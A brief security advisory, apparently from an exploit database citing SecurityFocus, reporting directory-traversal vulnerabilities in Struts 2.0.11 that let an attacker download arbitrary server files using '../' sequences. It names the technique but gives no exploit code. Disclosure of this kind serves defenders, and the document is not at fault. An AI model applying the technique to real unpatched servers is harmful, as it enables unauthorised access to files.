Struts 2.0.11 - Multiple Directory Traversal Vulnerabilities

                							

                source: http://www.securityfocus.com/bid/32104/info

Struts is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the webserver process. Information obtained may aid in further attacks.

Versions prior to Struts 2.0.12 are vulnerable.
